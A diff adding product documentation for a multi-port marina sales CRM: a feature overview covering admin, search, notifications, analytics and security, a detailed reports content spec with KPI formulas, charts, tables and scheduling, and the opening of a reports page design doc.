+## 10. Admin
+
+A purpose-built admin surface organised into seven domain groups.
+
+- **Admin sections browser** that groups every admin page under: Brand & Communication, Sales Workflow, Catalog, Identity & Access, Inbox & Data Quality, Integrations, and System & Observability.
+- **42 dedicated admin pages** covering: AI usage caps, audit log, backups, berths, branding, brochures, custom fields, Documenso health, duplicates, email accounts, email templates, error log, forms, inquiries, invitations, monitoring, OCR, onboarding, pipeline rules, ports, "pulse" health indicators, qualification criteria, reminders, reports admin, residential stages, roles, sends log, settings, storage, tags, templates, users, vocabularies, webhooks, and website analytics.
+- **Permissions UI.** Browse roles, edit role definitions, browse users, and assign per-user overrides through a visual permission matrix.
+- **Settings registry.** A single source of truth for every configurable setting, with sections for email, Documenso, storage, pipeline auto-advance, AI providers, application URLs, operations toggles, residential partner integration, and more. Settings are per-port and validated.
+- **System monitoring dashboard.** Service health, queue depth, queue detail, reconcile state — all in one place.
+- **Port configuration** for adding new ports with their own branding, currency, timezone, and email background.
+- **Webhooks admin** for dispatching CRM events outward to external systems.
+- **Tags, vocabularies, and custom fields** that tenants can shape themselves without engineering involvement.
+- **Forms admin** for creating supplemental info-request forms (used in qualification, residential, etc.).
+- **Onboarding checklist and banner** to guide new ports through setup.
+
+_Previously, "admin" meant opening the back-end data tool directly to edit rows, with no permissions model, no role assignments, no settings UI, no monitoring, and no onboarding flow._
+
+---
+
+## 11. Search
+
+A fast, fuzzy, permission-aware global search.
+
+- **Topbar search across every entity** — clients, residential clients, yachts, companies, deals, berths, invoices, expenses, documents, files, reminders, brochures, tags, plus navigation/settings deep-links.
+- **Multiple match strategies.** Full-text search for documents, partial-word matching for names and titles, fuzzy trigram matching so "Jhon" still finds "John", canonical phone-number matching that ignores formatting differences, and direct ID lookup for paste-a-record-id workflows.
+- **Affinity ranking.** Results you've recently touched are promoted, so "your John" appears above "some other John".
+- **Cross-port super-admin pass.** Super-admin users see other-port matches in a separate, clearly-labelled section.
+- **Permission-aware.** Viewers don't see search results they couldn't open.
+- **Mobile search overlay** designed for thumb reach.
+- **Highlighted match terms** so the relevant substring jumps out in each result.
+- **Admin search across the 7 IA domains** — every admin page is reachable from the topbar with a keyword.
+
+_Previously, "search" meant filtering a single NocoDB table at a time. There was no global search, no cross-entity matching, no fuzzy matching, no affinity ranking, and no admin deep-link search._
+
+---
+
+## 12. Activity feed & notifications
+
+A unified activity feed and a notification engine for both in-app and email.
+
+- **Dashboard activity widget** shows recent meaningful events across the port.
+- **Per-entity activity feed** on every client, deal, berth, yacht, and company detail page.
+- **Standardised verb vocabulary** — created, updated, archived, restored, merged, transferred, sent, signed, completed, rejected, voided, and so on. Historical legacy-stage events are re-mapped to the current vocabulary so the timeline reads consistently.
+- **My reminders rail** on the dashboard surfaces due and overdue follow-ups.
+- **Reminders engine** with admin configuration (cadence, severity, recipients).
+- **Alert engine.** Rule-based alerts evaluated every 5 minutes — admins define the rules; the engine generates notifications when they fire.
+- **In-app inbox** in the topbar.
+- **Hourly notification digest email** when unread items pass a threshold.
+
+_Previously, there was no in-system activity feed, no reminders engine, and no rule-based alerting._
+
+---
+
+## 13. Analytics
+
+Website analytics, email-open tracking, and outcome events feeding into a privacy-respecting analytics platform.
+
+- **Website-analytics dashboard** in the CRM with: realtime visitors panel, world map of visitors, sessions list, session detail sheet, weekly heatmap, pageviews chart, top referrers / pages / devices, and per-metric detail shells.
+- **Per-port project linking** to a Umami analytics project — outcome events from the CRM (EOI sent, deposit received, etc.) cross-post to the same project so marketing and sales metrics share a timeline.
+- **Email-open pixel.** Branded sends include a small open-tracking pixel; opens are recorded against the original send and surface in the send audit log.
+- **Admin → website-analytics** for configuring the link to the Umami project.
+
+_Previously, website analytics lived only in the standalone analytics tool; there was no integration of marketing analytics into the sales surface._
+
+---
+
+## 14. Mobile & responsive design
+
+Designed mobile-first; every list, sheet, and dialog is touch-friendly.
+
+- **Dedicated mobile shell** when the viewport is small: a mobile topbar, bottom tab bar, and a "more" sheet for overflow navigation.
+- **Card mode toggle on every list.** Switch lists between table and card view; card view is the default on mobile.
+- **Mobile search overlay** designed for thumb reach.
+- **Responsive tab strips** that collapse intelligently.
+- **Touch-tuned form controls.** Phone input, country picker, and timezone picker are all built for mobile keyboards.
+
+_Previously, the back-end data tool the team used was not designed for phone use; staff worked from a laptop by necessity._
+
+---
+
+## 15. Security & compliance
+
+A defensive posture across the stack.
+
+- **Authentication via `better-auth`** with session cookies; branded login, reset-password, and set-password surfaces.
+- **CRM invitations** with a token-based admin-driven invite flow.
+- **Granular RBAC.** Per-resource, per-action permissions — applied at the service layer, not just the UI.
+- **Audit log everywhere.** All meaningful actions recorded with severity tier; 90-day retention configurable.
+- **GDPR Article 15 exports** (one-click bundle, signed download, 30-day cleanup) and Article 17 hard-delete with restore preview.
+- **PII masking at audit-write time.** Old metadata still expires per retention; new metadata is masked before insertion.
+- **Magic-byte PDF validation** on every upload path (both in-server and presigned-PUT).
+- **Timing-safe webhook verification** for Documenso (no leaky string comparisons).
+- **Defense-in-depth port scoping** on every aggregated query — even joins double-check `port_id` so a cross-tenant leak would have to bypass multiple checks.
+- **30-second timeouts on object-storage calls** so a slow MinIO/S3 host can't stall the application.
+- **Per-port encryption-at-rest** for SMTP/IMAP credentials.
+- **Pre-commit hooks block accidental commits of secrets** (`.env` files including `.env.example`).
+
+_Previously, the public website ran public forms straight into the data store with reCAPTCHA only; there was no audit log on website-originated changes, no permission model on the public surface, no GDPR-Article-15 export tooling, and no PDF content validation._
+
+---
+
+## 16. Multi-tenancy at port level
+
+The platform is designed from the ground up for multiple ports.
+
+- **Per-port URL slug.** Each port has its own URL prefix, brand, and configuration.
+- **Per-port branding** — logo, primary colour, default currency, timezone, branded email background.
+- **Per-port email templates** — every transactional template can be overridden per port from admin, without engineering involvement.
+- **Per-port Documenso configuration** — API version (v1 or v2), API key, signing order, redirect URL.
+- **Per-port storage backend** — choose S3-compatible or filesystem per port; switch with a single migration script.
+- **Per-port currency and timezone** flow through the scheduler, the dashboard's timezone-drift banner, the recommender's deposit defaults, and every report.
+- **Per-port sales settings** — qualification criteria, pipeline rules, recommender weights, send-from accounts, and AI budgets are all scoped to the port.
+- **Cross-port super-admin search** — super-admins see other-port matches in a clearly-labelled secondary section; otherwise all queries scope to the current port.
+
+_Previously, the system was effectively single-tenant — a separate deployment would have been needed to onboard a second port._
+
+---
+
+## What's net-new (not present in the previous system at all)
+
+- A full sales CRM with kanban, list, detail, inline editing, stages, outcomes, tags, notes, scoring, and qualification — for staff.
+- Yachts, companies, and memberships as first-class entities (the previous system had no concept of these).
+- A nestable documents hub with auto-filing and cross-relationship aggregation.
+- Reports — Sales and Operational dashboards plus a custom builder, with templates and scheduled runs.
+- Global cross-entity search with fuzzy matching and affinity ranking.
+- An activity feed, reminders, alert engine, and notification digest.
+- Per-port multi-tenancy (branding, configuration, currency, timezone, Documenso, storage).
+- Granular role-based permissions with per-user overrides.
+- A comprehensive audit log surfaced in the activity feed, field-history popovers, and admin audit log.
+- GDPR Article 15 export tooling and Article 17 hard-delete with restore preview.
+- Background job queue + scheduled cron jobs for reliability.
+- Real-time UI updates across every open session.
+- Mobile-first design with a dedicated mobile shell.
+- Website-analytics dashboard inside the CRM (with email-open tracking and event cross-posting).
+
+## What stays similar but is improved
+
+- **Berth catalog and public berth feed.** The data the marketing site sees is the same shape it always was, served from a faster, properly-cached endpoint backed by the new database. The internal side adds versioned per-berth PDFs, brochures, a recommender, and demand heat scoring.
+- **EOI generation and Documenso signing.** EOIs still flow through Documenso, but with multi-berth ranges, configurable signing order, automation modes, idempotent webhook handling, a 5-minute polling safety net, in-product reminders and voids, external-EOI upload, and a webhook health diagnostic.
+- **Transactional email.** Still SMTP-backed, but now with per-port branded templates, configurable send-from accounts, audited sends, bounce monitoring, attachment-threshold smart handling, and rate limits.
+- **Public enquiry intake.** The website still accepts enquiries, but they now land in a managed inbox in the CRM with deduping, owner assignment, and full audit, instead of becoming raw rows in the data store.

docs/reports-content-spec.md

@@ -0,0 +1,524 @@
+# Reports — content spec (draft for review)
+
+> Source of truth for what each report category will contain. Driven by
+> the actual data we have in the schema; nothing here is aspirational
+> data we'd need to start collecting. Once locked, this drives the
+> builder implementations.
+
+---
+
+## Raw materials — data we already capture
+
+The proposals below are bounded by what we already store. A quick map of
+the load-bearing fields per entity:
+
+### `interests` (the sales pipeline source of truth)
+
+- `pipelineStage` — one of 7 canonical stages
+- Per-stage timestamps: `dateFirstContact`, `dateLastContact`,
+  `dateEoiSent`, `dateEoiSigned`, `dateReservationSigned`,
+  `dateContractSent`, `dateContractSigned`, `dateDepositReceived`
+- `outcome` (won/lost variants), `outcomeReason`, `outcomeAt`
+- `source` (website/manual/referral/broker), `leadCategory`
+  (general/qualified/hot)
+- `assignedTo` (rep), `clientId`, `yachtId`
+- `depositExpectedAmount` + currency
+- Per-doc status fields: `eoiDocStatus`, `reservationDocStatus`,
+  `contractDocStatus` (pending/sent/signed/declined/voided)
+- `archivedAt`
+
+### `interest_berths` (multi-berth pipeline)
+
+- `is_primary`, `is_specific_interest`, `is_in_eoi_bundle`
+- One interest can target N berths; status of those berths drives
+  "Under Offer" public flag
+
+### `berths`
+
+- `status` (available/under_offer/sold)
+- `area`, `mooringNumber`
+- `price`, `priceCurrency`
+- `lengthFt/widthFt/draftFt` + metric counterparts
+- `tenureType`, `tenureYears`, `tenureStartDate`, `tenureEndDate`
+- `statusLastModified`, `statusLastChangedReason`
+
+### `tenancies`
+
+- `status` (pending/active/ended/cancelled)
+- `startDate`, `endDate`, `tenureType`
+- Links to `berthId`, `clientId`, `yachtId`, `interestId`
+- `previousTenancyId` (chain), `transferredFromTenancyId`
+
+### `clients`
+
+- `nationalityIso`, `preferredContactMethod`, `source`
+- `createdAt`, `archivedAt`
+- `clientContacts` (email/phone/whatsapp values)
+- `clientNotes`, `clientTags` (categorisation)
+
+### `invoices` + `payments` + `expenses`
+
+- Invoices: status (draft/sent/paid/overdue/cancelled), `total`,
+  `subtotal`, `currency`, `dueDate`, `paymentDate`, `paymentTerms`,
+  `kind` (general/deposit), linked `interestId`
+- Payments: amounts, dates, method, linked invoice
+- Expenses: `amount`, `amountUsd`, `category`, `paymentStatus`,
+  `expenseDate`, `establishmentName`, `payer`
+
+### `documents` + `document_signers` + `document_events`
+
+- Send timestamps, sign timestamps, status per signer
+- Document type, template id
+- Full event audit (sent/viewed/signed/declined per recipient)
+- `signedFileId`, `currentPdfVersionId`
+
+### `websiteSubmissions` (inquiry intake)
+
+- Source page, UTM-style attribution columns, raw payload, conversion
+  state (linked to which interest / client / berth)
+- `convertedAt`, `convertedToInterestId`
+
+### `audit_logs`
+
+- Every entity mutation with `action`, `actor`, `oldValue`, `newValue`,
+  `createdAt` — full timeline of who-changed-what
+
+### Already-aggregated data (existing dashboard endpoints we can reuse)
+
+- `/api/v1/dashboard/forecast` — revenue forecast by stage × probability
+- `/api/v1/dashboard/pipeline` — count + value per stage
+- `/api/v1/dashboard/hot-deals` — high-pulse deals
+- `/api/v1/dashboard/tenancy-occupancy` — occupancy timeline by area
+- `/api/v1/dashboard/tenancy-revenue` — recognised revenue by month
+- `/api/v1/dashboard/tenancy-renewals` — upcoming renewals
+- `/api/v1/dashboard/tenancy-tenure` — tenure distribution
+- `/api/v1/dashboard/source-conversion` — funnel by source
+- `/api/v1/dashboard/clients-by-country` — geographic distribution
+- `/api/v1/dashboard/berth-status` — status mix
+- `/api/v1/dashboard/berth-heat` — recommender heat scores
+- `/api/v1/dashboard/activity` — activity feed
+- `/api/v1/dashboard/kpis` — top-line numbers
+
+---
+
+## Cross-cutting capabilities (apply to every report)
+
+- **Date range filter** — preset (last 7d / 30d / quarter / year / YTD)
+  plus custom range picker.
+- **Period comparison** — toggle to show "this period vs prior period"
+  (same length window immediately before). Drives delta arrows on KPI
+  cards.
+- **Rep / assignee filter** — multi-select. Defaults to "all". For
+  ports with one rep this is hidden.
+- **Source filter** — multi-select on `source` (website / referral /
+  broker / manual). Defaults to "all".
+- **Currency normalization** — money values render in port-default
+  currency; underlying records may be USD/EUR/etc., conversion already
+  exists on expenses and can be extended to invoices.
+- **Empty state** — every report renders gracefully on a port with no
+  data yet (e.g. fresh deploys) with a "this report needs data first"
+  hint pointing at the right onboarding step.
+
+---
+
+## Report 01 — Sales performance ✅ LOCKED 2026-05-27
+
+**Purpose:** answer "how is the sales team doing, who is doing the
+work, where are deals stuck."
+
+### KPI strip (7 tiles)
+
+| #   | Tile                  | Formula                                                                                      | Notes                                                                                                                                                                                                 |
+| --- | --------------------- | -------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| 1   | **Active interests**  | `count(interests) WHERE archivedAt IS NULL AND outcome IS NULL`                              | All stages incl. nurturing                                                                                                                                                                            |
+| 2   | **Won this period**   | `count(interests) WHERE outcome='won' AND outcomeAt IN range`                                |                                                                                                                                                                                                       |
+| 3   | **Lost this period**  | `count(interests) WHERE outcome LIKE 'lost_%' OR outcome='cancelled' AND outcomeAt IN range` | **Breakdown chip:** `Lost: 8 (3 to competitor · 2 unqualified · 2 no-response · 1 cancelled)`                                                                                                         |
+| 4   | **Win rate**          | `won / (won + lost_*) × 100%` — excludes `cancelled`                                         | Render `—` when denom = 0. Period-over-period delta arrow when comparison toggle is on (`↑ +12pp`)                                                                                                    |
+| 5   | **Pipeline value**    | `Σ ((berth.price OR depositExpectedAmount) × STAGE_WEIGHTS[stage])` for active interests     | Berth price used when an `is_primary` interest_berth is set; else depositExpectedAmount; else 0. Currency normalised to port-default. Footnote: "X of Y interests have no value and aren't included." |
+| 6   | **Avg time-to-close** | `median(outcomeAt - dateFirstContact)` for won deals in window                               | Adaptive unit: days (<60) / weeks (<24) / months. Skip interests with null `dateFirstContact`; footnote "based on N of M won deals."                                                                  |
+| 7   | **New leads**         | `count(interests) WHERE createdAt IN range` — **includes archived**                          | **Breakdown chip:** `New leads: 24 (10 website · 8 referral · 4 broker · 2 manual)`                                                                                                                   |
+
+### Charts (5)
+
+1. **Pipeline funnel** (echarts horizontal funnel)
+   - **Frame:** counts per stage, all 7 stages including `nurturing` as its own step
+   - **Active interests only** (`archivedAt IS NULL AND outcome IS NULL`)
+   - **Drop-off label** on each connector: `Enquiry 24 → Qualified 12 (−50%)`
+
+2. **Stage velocity** (recharts horizontal bar)
+   - Median days in each stage + faint p90 mark per bar
+   - Source: `audit_logs WHERE action='interest.stage_changed'` for transition timestamps
+   - Exclude stages with no exits yet (interests still sitting there)
+
+3. **Win rate over time** (recharts line + faint area underlay)
+   - Line: win rate per bucket
+   - Underlay: total deals closed per bucket (gives volume context)
+   - **Bucket granularity (auto):** weekly ≤6mo · monthly ≤2yr · quarterly beyond
+   - Sparse buckets render as gaps, not zero
+
+4. **Source → win conversion** (recharts stacked horizontal bar)
+   - One bar per source (website / referral / broker / manual)
+   - Segments coloured by outcome (won / lost-\* / cancelled / in-flight)
+   - PDF-friendly (no sankey)
+
+5. **Rep leaderboard** (table with embedded mini-bars)
+   - Columns: rep · new · won · lost · in-flight · pipeline value · win rate · avg time-to-close
+   - Sortable by any numeric column
+   - **Single-rep collapse:** when only one rep has deals in the window, skip this chart and render the Rep performance detail (Table 1) directly
+   - **Attribution:** current `assignedTo` gets full credit; tooltip flags deals that were reassigned mid-cycle
+
+### Deal heat section (between leaderboard and tables)
+
+Folded-in pulse data from existing dashboard infrastructure.
+
+- **Hot deals count** — KPI-style tile, count of interests above `pulse_label_hot` threshold
+- **Pulse distribution** — 3-segment horizontal bar (hot / warm / cold counts)
+- **Hottest deals right now** — top 5 by pulse score: client · stage · value · pulse · rep
+
+### Tables (5)
+
+1. **Rep performance detail** — leaderboard columns + expandable open-deals list per rep
+   - Open deals list columns: client · primary berth · stage · stage value · days in stage · last contact
+   - **Web:** collapsed by default, expand chevron
+   - **PDF:** always rendered inline (no expander affordance possible in print)
+
+2. **Stalled deals** — active interests not contacted within stage-aware thresholds
+   - **Thresholds:** enquiry 21d · qualified 14d · nurturing 60d · eoi 10d · reservation 7d · deposit_paid 7d · contract 5d (admin-configurable later)
+   - Columns: client · stage · days since last contact · days in stage · value · rep · quick "log contact" button
+   - Sort: stage value desc (most valuable stalled deals first)
+   - **Null `dateLastContact`** → treat as never contacted → always stalled
+
+3. **Closing this month** — late-stage active deals (`reservation` / `deposit_paid` / `contract`) sorted by stage value desc
+   - The inverse of stalled; the "don't drop these" list
+   - Same columns as stalled minus the "days since contact" column
+
+4. **Recent wins** — last 5 won deals, celebratory strip
+   - Columns: client · primary berth · final value · days to close · rep
+   - Source: `interests WHERE outcome='won' ORDER BY outcomeAt DESC LIMIT 5`
+
+5. **Lost-reason breakdown** — detail of the KPI 3 chip
+   - Columns: outcome reason · count · total value lost · avg days from first contact to loss
+   - Source: group `interests WHERE outcome LIKE 'lost_%' OR outcome='cancelled'` AND outcomeAt IN range by `outcome`
+
+### Filters
+
+- **Cross-cutting** (every report): date range preset/custom, period comparison toggle, rep multi-select (hidden when 1 rep), source multi-select (hidden when 1 source)
+- **Sales-specific:**
+  - **Stage filter** — restrict funnel + tables to subset of stages
+  - **Lead category filter** — general / qualified / hot
+  - **Outcome filter** — won / each lost-reason variant (mostly for the lost-reason breakdown post-mortem)
+
+### Currency handling
+
+- All monetary values render in port-default currency (per branding settings)
+- Underlying records can be in any currency; convert at render time
+- Render with thousand-separator + currency symbol (e.g. `€1,250,000`)
+
+---
+
+## Report 02 — Financial
+
+**Purpose:** answer "what revenue did we collect, what's outstanding,
+where is the cash flow going."
+
+### KPI strip
+
+| Metric                        | Source                                                                             | Notes                             |
+| ----------------------------- | ---------------------------------------------------------------------------------- | --------------------------------- |
+| Revenue collected             | Σ `invoices.total WHERE paymentStatus='paid' AND paymentDate IN range`             | Sum across currencies, normalised |
+| Pipeline (forecasted revenue) | Existing dashboard `forecast` endpoint                                             | Σ deposit_expected × stage weight |
+| Deposits collected            | Σ `invoices.total WHERE kind='deposit' AND status='paid' AND paymentDate IN range` |                                   |
+| Outstanding AR                | Σ `invoices.total WHERE status IN ('sent','overdue') AND archivedAt IS NULL`       |                                   |
+| Overdue AR                    | Σ above filtered to `dueDate < today`                                              |                                   |
+| Expenses (period)             | Σ `expenses.amountUsd WHERE expenseDate IN range AND archivedAt IS NULL`           | USD-normalised                    |
+| Net contribution              | revenue - expenses                                                                 | Optional                          |
+
+### Charts
+
+1. **Revenue by month** (bar chart) — Stacked by `kind` (general vs
+   deposit). 12 months trailing window default.
+2. **Revenue by quarter / year** (toggleable granularity) — Same data,
+   different bucket.
+3. **Funnel: EOI → Deposit → Contract → Revenue** (funnel chart,
+   echarts) — Counts at each stage in the period to highlight leakage.
+4. **AR aging** (stacked horizontal bar) — Buckets: current, 1-30,
+   31-60, 61-90, 90+. Per bucket: count + total value.
+5. **Cash flow** (line chart, two series) — Inflow (payments received)
+   and outflow (expenses paid) over time.
+6. **Expense breakdown** (donut) — By `category` for the period.
+
+### Tables
+
+1. **Outstanding invoices** — Invoice #, client, due date, days
+   overdue, amount, payment terms. Sort by overdue desc.
+2. **Recent payments** — Date, invoice, client, amount, method.
+3. **Refund / write-off log** — Cancelled invoices with reasons.
+4. **Expense ledger** — Date, payer, category, amount, payment status,
+   linked trip.
+
+### Filters
+
+- Invoice kind (deposit / general)
+- Payment status
+- Currency
+- Billing entity type (client / company)
+
+---
+
+## Report 03 — Marketing & funnel
+
+**Purpose:** answer "where are leads coming from, which sources are
+worth the marketing spend, where do we lose people in the funnel."
+
+### KPI strip
+
+| Metric                           | Source                                                              | Notes                  |
+| -------------------------------- | ------------------------------------------------------------------- | ---------------------- |
+| Inquiries this period            | `count(websiteSubmissions WHERE createdAt IN range)`                |                        |
+| Inquiries → interest conversion  | `count(websiteSubmissions WHERE convertedAt IN range) / count(...)` | %                      |
+| Inquiries → EOI conversion       | Same with `interest.dateEoiSent NOT NULL`                           |                        |
+| Inquiries → won conversion       | Same with `interest.outcome='won'`                                  |                        |
+| Top source                       | `source` with highest converted count                               | Card with name + count |
+| Avg time inquiry → first contact | Median(`interest.dateFirstContact - websiteSubmission.createdAt`)   | Hrs / days             |
+
+### Charts
+
+1. **Inquiries by source** (donut + bar) — Count per source for the
+   period.
+2. **Source ROI** (stacked horizontal bar) — Per source: total count,
+   won count, won value. Sort by value desc.
+3. **Funnel: Inquiry → Qualified → EOI → Reservation → Won** (vertical
+   funnel) — Conversion at each stage.
+4. **Conversion trend** (line chart) — Inquiry → won conversion %
+   plotted weekly.
+5. **Country of origin** (geo map via `react-simple-maps`, already
+   approved) — Inquiries by `nationalityIso` of resulting client.
+6. **Time-to-respond histogram** — Buckets of "minutes from inquiry to
+   first contact." Highlights slow response times.
+
+### Tables
+
+1. **Top-converting sources** — Source, count, win rate, total revenue,
+   avg time-to-close.
+2. **Recent inquiries** — Date, source, name, mooring, status (open /
+   converted / discarded), rep.
+3. **Stuck inquiries** — Submitted >X days ago, not yet contacted.
+
+### Filters
+
+- Specific source (drill-down)
+- Mooring (which berth pages drive conversion)
+- UTM campaign (if/when we add UTM tracking — currently only `source`)
+
+---
+
+## Report 04 — Operational ✅ LOCKED 2026-05-27
+
+**Purpose:** answer "how full are we, how long do tenancies last,
+where are operational bottlenecks (signing, occupancy turnover)."
+
+**Conditional behaviour:** half this report (tenancy charts + KPIs)
+depends on `tenancies_module_enabled = true`. When the module is off,
+those tiles render `—` with a "Tenancies module disabled" hint and
+the tenancy charts/tables are omitted entirely (replaced with a
+single "Enable tenancies in System Settings to populate this section"
+banner).
+
+### KPI strip (7 tiles; some auto-hide)
+
+| #   | Tile                              | Formula                                                                                                                        | Notes                                                                                                                                                                                                     |
+| --- | --------------------------------- | ------------------------------------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| 1   | **Total berths**                  | `count(berths) WHERE archivedAt IS NULL`                                                                                       | Physical inventory                                                                                                                                                                                        |
+| 2   | **Sold %**                        | `count(status='sold') / total × 100%`                                                                                          | Period-over-period delta computed from `audit_logs` (entity_type='berth', action='status_changed'). All historical changes incl. accidental/manual ones are reflected — the audit log is the truth source |
+| 3   | **Under offer %**                 | Live compute from `interest_berths`: any berth with an active `is_specific_interest=true` link whose interest has open outcome | Quality-first source; catches drift where `berths.status` column lags the link table                                                                                                                      |
+| 4   | **Active tenancies**              | `count(berth_tenancies) WHERE status='active'`                                                                                 | Module-OFF → `—`                                                                                                                                                                                          |
+| 5   | **Avg tenancy length**            | `median(endDate - startDate)` for `status='ended'` tenancies, in years (1 decimal)                                             | Module-OFF → `—`. Need ≥3 ended tenancies for meaningful median; otherwise `—` with hint                                                                                                                  |
+| 6   | **Signing turnaround (per type)** | `median(document.completedAt - document.sentAt)` per document type                                                             | Three small stats in one tile: `EOI 4.2d · Reservation 6.8d · Contract 12.4d`. Excludes voided + declined                                                                                                 |
+| 7   | **Berths in conflict**            | `count(berths WHERE >1 active interest has is_specific_interest=true)`                                                         | **Hidden when 0**; appears (and reads red) when ≥1 conflict — the "two clients want the same berth" alarm                                                                                                 |
+
+### Charts (7)
+
+1. **Berth utilisation timeline** (echarts heatmap)
+   - Grid: `area × month`; cell colour = % occupied (sold + under-offer) in that area that month
+   - **Range:** user-pickable, default trailing 24 months
+   - Reuses `audit_logs` reconstruction (same engine as KPI 2)
+
+2. **Status mix over time** (recharts stacked area, with **toggle**)
+   - Two views: proportional (100%-stacked) AND absolute counts
+   - Toggle button on the chart switches between them
+   - 3 series: available / under_offer / sold
+
+3. **Tenancy churn waterfall** _(module ON)_ (echarts waterfall)
+   - Per bucket: `+ new active`, `− ended`, `= net Δ`
+   - **Bucket: auto-pick** — monthly if avg >2 events/month, else quarterly
+
+4. **Tenure distribution** _(module ON)_ (recharts histogram bar)
+   - Marina-tuned buckets: `<1y` / `1–5y` / `5–10y` / `10–20y` / `20y+`
+   - Ended tenancies only (active ones have no end date yet)
+
+5. **Signing turnaround box plot** (echarts)
+   - One box per document type (EOI / Reservation / Contract)
+   - Median + quartiles + whiskers + outlier dots
+   - Excludes voided + declined
+
+6. **Occupancy by area** (recharts stacked horizontal bar)
+   - One bar per area; segments coloured sold / under_offer / available
+   - Scales cleanly to 10+ areas (vs donut-per-area which doesn't)
+
+7. **Documents in pipeline** (recharts stacked bar)
+   - Per document type, count by current status (`pending` / `sent` / `signed` / `declined` / `voided`)
+   - Spots stuck batches at a glance
+
+### Tables (4)
+
+1. **Tenancies ending soon** _(module ON)_
+   - Window: **next 6 months** (default)
+   - Columns: client · berth · tenure type · end date · days until end · quick action (renew / end)
+   - Sort: `endDate` asc
+
+2. **Berths with no current owner**
+   - Threshold: available for **>60 days**
+   - Columns: mooring · area · dimensions · price · days available · last viewed date (from public berth-page analytics if available)
+
+3. **Stuck signing**
+   - **Document-type-aware thresholds:** EOI >10d / Reservation >7d / Contract >5d
+   - Columns: document type · client · sent date · days outstanding · next signer · resend button
+
+4. **Highest-value vacant berths**
+   - Available berths sorted by `price` desc
+   - Columns: mooring · area · dimensions · price · days available
+   - Sales-focus list
+
+### Filters
+
+- **Cross-cutting** (auto-hidden when not relevant): date range + comparison toggle + rep + source
+- **Operational-specific:**
+  - **Berth area** — multi-select; restricts heatmap + tables
+  - **Tenure type** — permanent / fixed-term (affects tenancy charts + ending-soon table)
+  - **Document type** — EOI / Reservation / Contract (affects signing chart + stuck-signing)
+  - **Status filter** — for the heatmap/status-mix views: which statuses to display
+
+### Currency handling
+
+- All berth prices render in port-default currency
+- Underlying records can be in any currency; convert at render time
+- Render with thousand-separator + currency symbol
+
+---
+
+## Report 05 — Custom (ad-hoc composer)
+
+**Purpose:** answer questions the canonical reports don't cover.
+
+### Composition surface
+
+1. **Pick an entity** (one): Clients, Yachts, Companies, Interests,
+   Berths, Tenancies, Invoices, Expenses, Documents,
+   Website Submissions.
+2. **Pick columns** — checkbox list of available columns for that
+   entity, with sensible defaults pre-checked. Includes computed
+   columns where they exist (e.g. `daysOverdue` on invoices).
+3. **Add filters** — one row per filter; each row: column → operator
+   (=, ≠, in, contains, > <, between, is null) → value picker
+   appropriate to the column type. AND/OR between rows.
+4. **Group by** (optional single dimension) — column from the entity.
+5. **Sort** — column + direction.
+6. **Aggregate** (when group-by is set) — count, sum, avg, min, max
+   on each numeric column.
+7. **Live preview** — first 50 rows render as you build, server query
+   re-runs on debounced change.
+8. **Save** — three buttons:
+   - **Run once** — generate the report and add to library, no
+     template saved.
+   - **Save as template** — name + scope (personal / port-wide).
+   - **Update existing template** — only visible if you opened from a
+     template.
+
+### Permissions
+
+- Column whitelist per entity per role. A rep without
+  `clients.view_pii` cannot pick `email` or `phone` columns. Same
+  enforcement on the server-side row filter.
+- Filtering is always tenant-scoped via `port_id` (defense in depth).
+
+### Output
+
+- Same export buttons (PDF / CSV / Excel) as canonical reports.
+- PDF treatment uses the standard branded shell.
+
+---
+
+## Templates system
+
+Applies to all 5 categories.
+
+### Lifecycle
+
+1. **Open a builder** — defaults to "Untitled" config.
+2. **Modify any filter / column / range** — header shows "Modified ●"
+   indicator.
+3. **Save** — three options:
+   - Overwrite the loaded template (if any).
+   - Save as new (prompts for name + scope).
+   - Discard changes.
+4. **Templates page** — list of all templates, per-template actions:
+   open, run, schedule, share, archive.
+
+### Scope
+
+- **Personal** — visible only to creator. Can be promoted to port-wide
+  later.
+- **Port-wide** — visible to all reps in the port; editable only by
+  admins. "Owned by" name shown.
+
+### Storage
+
+- `report_templates` table already exists (per `schema/reports.ts`),
+  audit to confirm shape matches the lifecycle above.
+
+---
+
+## Schedules
+
+### Schedule object
+
+- `templateId` — the report to run
+- `cron` expression OR friendly cadence (daily 9am, weekly Mondays,
+  monthly 1st)
+- `emailEnabled` — boolean. When true, fires email; when false, only
+  drops into runs library.
+- `recipients` — array of email addresses (only used when
+  `emailEnabled`)
+- `format` — pdf / csv / xlsx — what to attach to the email
+- `lastRunAt`, `nextRunAt`, `lastResult` (success / failure)
+
+### Worker
+
+- BullMQ recurring job already exists in the stack; one queue
+  `report-runs` does both on-demand and scheduled runs.
+- Failure surface: email the schedule creator on first failure (with
+  short error), backoff retry once, mark `lastResult='failure'`.
+
+---
+
+## Open questions for the user
+
+1. **AR aging buckets.** Do we use 30-day buckets or 14-day buckets?
+   30 is industry standard; 14 catches issues earlier.
+2. **Currency normalisation for revenue.** USD or EUR as default? Or
+   the port's `branding_default_currency`?
+3. **Sales rep visibility.** Should a rep see ONLY their own metrics
+   on Sales Performance by default (with admins seeing the full
+   leaderboard), or always the full team?
+4. **Inquiry → interest auto-link rule.** We've got `convertedAt` on
+   `websiteSubmissions` and `sourceInquiryId` on `clients`. Is every
+   conversion captured today, or are some manual links missed (which
+   would skew the marketing report)?
+5. **"Pulse" / heat data.** Should the Sales report surface the deal
+   pulse metric, or is that a separate "Deal Pulse" report?
+6. **Geographic chart.** The `react-simple-maps` library is approved
+   (per memory). Are we OK to use it for the Marketing country chart,
+   or is that scope creep?
+7. **Custom builder entity scope.** All 10 entities above, or start
+   with the 4 sales-core ones (Clients, Yachts, Interests, Berths)
+   and expand later?

docs/reports-page-design.md

@@ -0,0 +1,278 @@
+# Reports Page Design (`/{portSlug}/reports`)
+
+> **Status:** Design doc. All Q-block decisions locked 2026-05-24 via AskUserQuestion in the alpha UAT master doc. Implementation phased into discrete PRs at the end.
+
+## Goals & non-goals
+
+**Goals**
+
+- Promote PDF report generation from a cramped dashboard dialog (~25 widgets and growing) to a dedicated landing + builder page.
+- Support saved-template management (rename / archive / share-with-team / duplicate).
+- Add run history so reps can answer "send me the same report Sarah ran last month."
+- Scheduled recurring reports (weekly / monthly / quarterly) with per-recipient email delivery.
+- One-click "Generate & email" alongside "Generate & download."
